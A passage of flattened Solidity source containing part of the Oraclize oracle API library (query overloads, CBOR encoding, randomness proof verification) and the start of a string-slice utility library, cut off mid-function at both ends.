oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){ bool match_ = true; for (var i=0; i<prefix.length; i++){ if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ bool checkok; // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId))); if (checkok == false) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) checkok = matchBytes32Prefix(sha256(sig1), result); if (checkok == false) return false; // Step 4: commitment match verification, sha3(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); checkok = verifySig(sha256(tosign1), sig1, sessionPubkey); if (checkok == false) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) { uint minLength = length + toOffset; if (to.length < minLength) { // Buffer too small throw; // Should be a better way? } // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } } // </ORACLIZE_API> /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(".")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(".")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint div = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / div; if (b < 0x80) { ret = b; len = 1; } else if(b < 0xE0) { ret = b & 0x1F; len = 2; } else if(b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } // Check for truncated codepoints if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { div = div / 256; b = (word / div) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), 